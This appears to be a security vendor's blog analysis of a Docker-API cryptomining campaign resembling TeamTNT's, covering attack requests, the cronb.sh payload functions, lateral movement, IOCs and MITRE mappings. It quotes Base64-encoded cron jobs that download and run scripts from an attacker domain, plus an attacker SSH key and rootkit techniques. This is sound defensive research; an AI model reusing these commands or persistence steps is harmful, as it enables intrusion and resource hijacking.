ALPS blog

TeamTNT Returns – or Does It?

TeamTNT is a threat group that was known for primarily targeting the cloud and container environments around the world. This group has been documented to leverage the cloud and container resources by deploying cryptocurrency miners in the victim environments. While the group has been active since 2019 and announced it was quitting in 2021, our recent observations make it appear as if TeamTNT has returned — or a copycat group imitating the routines of TeamTNT — and has been deploying an XMRig cryptocurrency miner. Analysis of the attack patterns and other technical details of the code has also led us to believe that the routines are mimicking TeamTNT’s arsenal, but are likely deployed by another cryptocurrency mining group named WatchDog.

Attack patterns

Analysis of the samples in our honeypots revealed the following IP addresses establishing a connection to exposed Docker APIs over TCP that were previously documented to be involved in malicious activities:

  • 115[.]238[.]146[.]136
  • 150[.]158[.]33[.]66
  • 101[.]42[.]100[.]251
  • 113[.]57[.]111[.]119
  • 139[.]59[.]132[.]89
  • 120[.]48[.]86[.]143
  • 58[.]192[.]31[.]232
  • 121[.]36[.]16[.]103
  • 1[.]116[.]151[.]108
  • 27[.]128[.]160[.]170
  • 124[.]222[.]213[.]175
figure1-teamtnt-returns-or-does-it-watchdog
Figure 1. Detections of deployment

We tracked the majority of these IP addresses to have established connections from China while one came from Germany, making a series of requests to the exposed Docker API as follows:

1.      The initial request made was to get the Docker version information.

figure2-teamtnt-returns-or-does-it-watchdog
Figure 2. Request to get the Docker version

As seen in the User-Agent header field, this request seems like TeamTNT is using the legitimate utility ZGrab to scan for publicly exposed Docker API servers. Go-developed ZGrab is a banner-grabbing tool that is currently being deprecated. A newer version called ZGrab2 is the open-source tool currently available in GitHub. We observed the older utility being used in the malicious sample we analyzed.

Once the request identifies the available servers, the routine moves to the next steps.

2.      A ping request checks if the API server is live.

figure3-teamtnt-returns-or-does-it-watchdog
Figure 3. Ping request

3.      Once the ping response is positive, the attackers perform a request to deploy the /containers/create endpoint to deploy an alpine-based container with instructions to download and execute the malicious shell script.

figure4-teamtnt-returns-or-does-it-watchdog
Figure 4. Container creation request

As you can see from the image above, the request shows the following steps being executed:

a.      Changes the root directory to /mnt

b.      Installs curl

c.      Creates the cron entry in crontab and /etc/cron.d to download the file cronb.sh from 205[.]185[.]118[.]246

4.      Once the container deployment is successful, the attacker requests the Docker Daemon API to attach to the container and start it.

figure5-teamtnt-returns-or-does-it-watchdog
Figure 5. Request to start the newly created container

The cronb.sh script

The cronb.sh script is the first payload deployed by the attacker. We analyzed this script performing many actions, downloading multiple shell scripts and an XMRIG miner, and compiling the Base64-encoded c code, among others. In this section, we summarize the actions performed by the script.

figure6-teamtnt-returns-or-does-it-watchdog
Figure 6. cronb.sh script actions

The beginning functions of the script contains the command and control (C&C) server IP and port details.

figure7-teamtnt-returns-or-does-it-watchdog
Figure 7. C&C server details

The script also performs the actions defined by the functions below:

a.  check_exist

The check_exist function checks if the miner process is running on the defined port 1414 with the help of netstat.

figure8-teamtnt-returns-or-does-it-watchdog
Figure 8. Check miner process function

b.  m_command

The m_command function’s script sets the path of wget, curl, and chattr utilities. This process renames the chattr utility to zzhcht, probably so that other miners or malware would not be able to use this utility.

figure9-teamtnt-returns-or-does-it-watchdog
Figure 9. Renaming the chattr utility and adding it in environment variables

The threat actor also hijacks the various system binaries, creates custom processes, and renames them with a tnt prefix, or TNTcurl, curltnt, and tntrecht suffixes. In this function, the script also checks if the binaries tntcurl or curltnt exists or not, and adds their path as environment variables. This has also been documented previously and attributed to TeamTNT.

figure10-teamtnt-returns-or-does-it-watchdog
Figure 10. m_command checking for binaries

c.  ins_package:

The ins_function function calls three functions after validating the package managers used in the operating system (OS) to install tools like gcc, make, and kmod to compile and install the source codes of rootkit and process hider code.

figure11-teamtnt-returns-or-does-it-watchdog
Figure 11. Detection of package manager
figure12-teamtnt-returns-or-does-it-watchdog
Figure 12. Different package installations

d.  SetupNameServers

In this function, the script configures the network settings to use the IP addresses 8[.]8[.]8[.]8 and 8[.]8[.]4[.]4 as the domain name system (DNS) servers via updating /etc/resolv.conf file by changing the file permissions to make it mutable. The said addresses are Google DNS servers.

e.  download_f

The download_f function downloads the XMRig miner xm.tar as crypto and the configuration file config.json as [cmake].pid, which contains the pool server IP address under the /usr/share directory.

f.  setup_s

The setup_s function installs the configuration file [cmake].pid as a service in the system under path </etc/systemd/system/cmake.service>.

g.  makesshaxx

The makesshaxx function’s script adds the attacker’s secure shell (SSH) public key in the files /root/.ssh/authorized_keys and /root/.ssh/authorized_keys2. The SSH public key we found:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver

A quick Google search showed that this key was previously used in other scripts related to Docker container attacks.

h.  clean_monitor

The clean_monitor function’s script disables various OS’ security and logging features:

a.      Clears the firewall rules from iptables

b.      Clears the bash history

c.       Disables SELinux, watchdog, AppArmor, and firewall service

d.      Uninstalls aegis (Alibaba’s cloud security agent), aliyun (Alibaba’s Cloud Monitor Service), and qcloud (Tencent Cloud’s qcloud agents) services

i.   clean_cron

The clean_cron function’s script makes the cron files mutable and removes all the existing cron jobs from /etc/crontab, /var/spool/cron, /etc/cron.d, and /var/spool/cron/crontabs to disrupt the existing malware functionalities, as well as the legitimate system functionalities.

j.  lock_cron

The lock_cron function’s script makes the files immutable again by changing the attributes of the cron files, reversing the previous action so no one else can change those.

k.  exec_hide

The exec_hide function’s script checks that the rootkit is installed first or not. If not present, then it calls another function hide_f() to install the rootkit. In the function hide_f(), it decodes the Base64 encoded .tar file and compiles it under the directory /usr/share/..hide, and installs it as a kernel module with the help of the insmod command.

figure13-teamtnt-returns-or-does-it-watchdog
Figure 13. Rootkit installation

l.  exec_hide2

This is the other method the cybercriminals used to hide the processes via modifying the libc. This method uses an old technique to hide the specific process read in the /proc directory. The malicious code is encoded in Base64, the script decodes and compiles it as shared object file, and updates the /etc/ld.so.preload file.

figure14-teamtnt-returns-or-does-it-watchdog
Figure 14. Hiding the processes

m.  clmo

The clmo function’s script checks whether the current system is an instance in Alibaba cloud or not, disables the AliSecGuard, and stops aliyun and aegis services.

n.  exe_remo

This is the function responsible for lateral movement via SSH and deploys the b.sh file in the remote SSH server. This b.sh file is the same as this cronb.sh file.

figure15-teamtnt-returns-or-does-it-watchdog
Figure 15. Lateral movement

In the same system, it downloads the s.sh script and executes it. This script is responsible for:

a.      Installing ZGrab, an application layer scanner, to scan the Docker services.

b.      Installing pnscan, a port scanner, to scan a whole subnet for a Redis server.

c.       Installing masscan, another port scanner, to scan for a Redis server.

d.      Installing various utilities from the OS package repositories like iptables, unhide, gcc, redis-tools, and Redis server, among others.

e.      Downloading the other supporting shell scripts c.sh and d.sh, and installs them as a service.

There have also been observations on these tools as being a part of TeamTNT’s arsenal in previous attacks.

figure16-teamtnt-returns-or-does-it-watchdog
Figure 16. Creating c.sh (top), d.sh (middle), and systemd services (bottom)

Looking at c.sh and d.sh

As mentioned, s.sh installs various tools needed to infect and move around. The c.sh and d.sh scripts make use of those tools. The c.sh script allows the threat actor to perform these actions:

a.      Create a firewall rule in iptables for the Redis-server communication

figure17-teamtnt-returns-or-does-it-watchdog
Figure 17. Creating a firewall rule

      b.      Utilizes all the scanning tools downloaded by the previous script (s.sh)

      c.      Adds the following cron job instruction into a .dat file:

i.          */2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash

Base64 decoded string: cd1 http[:]//kiss.a-dog.top/b2f628/b.sh

ii.          */3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash

Base64 decoded string: wget -q -O- http[:]//kiss.a-dog.top/b2f628/b.sh

iii.          */4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash

Base64 decoded string: curl http[:]//kiss.a-dog.top/b2f628/b.sh

iv.          c2V0IGJhY2t1cDQgIlxuXG5cbkBob3VybHkgcm9vdCAgcHl0aG9uIC1jIFwiaW1wb3J0IHVybGxpYjI7IHByaW50IHVybGxpYjIudXJsb3BlbihcJ2h0dHA6Ly9raVxcc1xccy5hLWRcXG9nLnRcXG9ccC90LnNoXCcpLnJlYWQoKVwiID4uMTtjaG1vZCAreCAuMTsuLy4xXG5cbiIK

Base64 decoded string: set backup4 “\n\n\n@hourly root  python -c \”import urllib2; print urllib2.urlopen(\’http[:]//ki\\s\\s.a-d\\og.t\\o\p/t.sh\’).read()\” >.1;chmod +x .1;./.1\n\n”

While scanning with the tools (masscan and pnscan) for the available Redis server in the network, it reads the .dat file and sends the instruction from the file to the Redis server to add cron jobs to download these shell scripts.

figure18-teamtnt-returns-or-does-it-watchdog
Figure 18. Infecting Redis servers

The d.sh script has the least number of instructions among all the shell scripts used in this routine. This script uses the ZGrab scanner to scan for the available Docker API servers on both TCP ports 2375 (for unencrypted communication with the daemon) and 2376 (for encrypted communication with the daemon) in the network. It then deploys the Alpine Docker image via docker API.

figure19-teamtnt-returns-or-does-it-watchdog
Figure 19. Alpine docker image deployment

In the above Docker image deployment, d.sh adds a cron job to download and run cronb.sh from 205[.]185[.]118[.]246 and t.sh from the domain http[:]//kiss[.]a-dog[.]top/t[.]sh.

This file also contains the TeamTNT’s banner in a Base64-encoded string.

figure20-teamtnt-returns-or-does-it-watchdog
Figure 20. TeamTNT’s Base64-encoded signature (top) and decoded string (bottom)

Trend Micro solutions

Trend Micro™ Cloud One Workload Security™ and Trend Micro Vision One™ can detect these malicious activities and can be protected via these detections:

Trend Micro Cloud OneTM Workload Security

Tactics Techniques Procedure Detections
Initial Access T1133 – External Remote Services Docker API request to get the docker version info using “version” method 1010326 – Identified Docker Daemon Remote API Call
Execution T1610 – Deploy Container Docker API request to create a container using “create” method 1010326 – Identified Docker Daemon Remote API Call
Privilege Escalation T1611 – Escape to Host “chroot” to mount file system at “/mnt” directory The procedure was detected by Process Telemetry.
Command and Control T1105 – Ingress Tool Transfer

T1071.001 – Application Layer Protocol: Web Protocols

“curl” command is used to download the “cronb.sh”
  1. Procedure detected by Process Telemetry.
  2. Web reputation module also detects the download of “cronb.sh”
Execution T1204002 – User Execution: Malicious File To harvest crypto currency “xmrig” coin miner is used Antimalware detects the malicious file.
Discovery T1613 – Container and Resource Discovery

T1046 – Network Service Discovery

To move laterally in infrastructure the “masscan” scanning tool is used Antimalware detects the malicious file.

Trend Micro Vision OneTM  Workbench App

The Trend Micro Vision One Workbench App helps analysts see the significant correlated events that are intelligently based on the occurrences that happened throughout the entire fleet of workloads. The left side of the diagram shows the summarized sequence of events happening one after another. Analysts can view the different fields of interest that are considered important and provide security value on the connections seen on the right. The app allows security teams to see the compromised assets and isolate those that can be potentially affected while patching procedures are ongoing.

figure21-teamtnt-returns-or-does-it-watchdog
Figure 21. Detecting the misuse of Docker Rest API

Conclusion

The threat actor goes through a series of actions for deploying the cryptocurrency miner. The routine abuses the Docker infrastructure to infect, download, and run various shell scripts using tools like ZGrab, massscan, pnscan, and Redis to spread in a worm-like fashion to install an XMRig. This attack uses tactics, techniques, and procedures (TTPs) consistent with those of TeamTNT’s, such as the banner and the use of the identified utilities. However, TeamTNT’s behavior is well-known by now, and this does not conclusively identify the group as the threat actor responsible for this sample. Currently, one of the domains used, oracle[.]zzhreceive[.]top, is linked with the cryptocurrency mining group WatchDog, which has been documented utilizing the same domain as TeamTNT. Researchers have also previously observed that “s3f815” and “b2f628” have been used in the directory name convention found in URLs, and the “1.0.4.tar.gz” label used in the file names used by this group.

Moreover, since TeamTNT already announced that it was quitting, all these details show that either WatchDog is behind this campaign and likely using the name of TeamTNT, or someone else is mimicking the cybercriminal group. While we do not discount the possibility that TeamTNT can return and using the same routines as well, we will continue to monitor these threats and post updates accordingly.

Indicators of Compromise (IOCs)

Find the full list of IOCs here.

 

MITRE ATT&CK Techniques

MITRE Technique MITRE Technique ID
Deploy Container T1610
Scheduled Task/Job: Cron T1053.003
Scheduled Task/Job: Container Orchestration Job T1053.007
User Execution: Malicious Image T1204.003
Impair Defenses: Disable or Modify Tools T1562.001
Impair Defenses: Impair Command History Logging T1562.003
Impair Defenses: Disable or Modify System Firewall T1562.004
Network Service Discovery T1046
Resource Hijacking T1496
Account Manipulation: SSH Authorized Keys T1098.004
Boot or Logon Autostart Execution: Kernel Modules and Extensions T1547.006
Create or Modify System Process: Systemd Service T1543.002
Hijack Execution Flow: Dynamic Linker Hijacking T1574.006
File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification T1222.002
Hide Artifacts: Hidden Files and Directories T1564.001
Indicator Removal on Host: Clear Linux or Mac System Logs T1070.002
Escape to Host T1611
Indicator Removal on Host: File Deletion T1070.004
Remote System Discovery T1018
Rootkit T1014
Data Encoding: Standard Encoding T1132.001
Ingress Tool Transfer T1105
Application Layer Protocol: Web Protocols T1071.001
Facebook
Twitter
LinkedIn

Featured News